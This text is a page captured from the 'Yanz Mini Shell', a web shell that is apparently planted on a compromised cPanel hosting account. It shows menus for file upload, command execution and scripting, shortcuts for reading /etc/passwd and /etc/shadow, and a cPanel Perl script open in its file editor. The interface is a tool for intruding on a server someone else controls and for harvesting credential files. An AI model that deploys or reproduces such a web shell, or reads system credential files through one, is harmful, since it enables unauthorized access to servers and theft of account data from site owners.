Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
hdhubreisen
public_html
gebase
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/unslavenamedconf Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited my $ndc = find_namedconf(); sub find_namedconf { if ( -e "/etc/namedb/named.conf" ) { return ("/etc/namedb/named.conf"); } return ("/etc/named.conf"); } my $im = 0; my @CFILE; open( NDC, "+<", "$ndc" ); while (<NDC>) { if (/type slave/) { s/slave/master/g; } if (/masters/) { $im = 1; } if ( !$im ) { push( @CFILE, $_ ); } if (/}/) { $im = 0; } } seek( NDC, 0, 0 ); print NDC join( "", @CFILE ); truncate( NDC, tell(NDC) ); close(NDC);
Free Space : 62814212096 Byte